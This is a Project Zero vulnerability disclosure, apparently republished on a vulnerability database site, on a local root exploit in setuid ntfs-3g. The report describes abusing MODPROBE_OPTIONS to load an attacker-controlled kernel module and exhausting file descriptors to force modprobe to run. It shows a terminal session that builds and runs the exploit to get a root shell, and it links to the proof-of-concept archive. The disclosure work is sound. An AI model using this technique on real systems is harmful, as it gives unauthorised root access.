Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
ntfs-3g is installed by default e.g. on Ubuntu and comes with a
setuid root program /bin/ntfs-3g. When this program is invoked on a
system whose kernel does not support FUSE filesystems (detected by
get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using
/sbin/modprobe via load_fuse_module().
The issue is that /sbin/modprobe is not designed to run in a setuid
context. As the manpage of modprobe explicitly points out:
The MODPROBE_OPTIONS environment variable can also be used
to pass arguments to modprobe.
Therefore, on a system that does not seem to support FUSE filesystems,
an attacker can set the environment variable MODPROBE_OPTIONS to
something like "-C /tmp/evil_config -d /tmp/evil_root" to force
modprobe to load its configuration and the module from
attacker-controlled directories. This allows a local attacker to load
arbitrary code into the kernel.
In practice, the FUSE module is usually already loaded. However, the
issue can still be attacked because a failure to open
/proc/filesystems (meaning that get_fuse_fstype() returns
FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the
FUSE module is already loaded. An attacker can cause an attempt to
open /proc/filesystems to fail by exhausting the global limit on the
number of open file descriptions (/proc/sys/fs/file-max).
I have attached an exploit for the issue. I have tested it in a VM
with Ubuntu Server 16.10. To reproduce, unpack the attached file,
compile the exploit and run it:
user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar
user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh
make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
CC [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
LD [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
looks like we won the race
got ENFILE at 198088 total
Failed to open /proc/filesystems: Too many open files in system
yay, modprobe ran!
modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
we have root privs now...
root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)
Note: The exploit seems to work relatively reliably in VMs with
multiple CPU cores, but not in VMs with a single CPU core. If you
test this exploit in a VM, please ensure that the VM has at least two
CPU cores.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zipData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation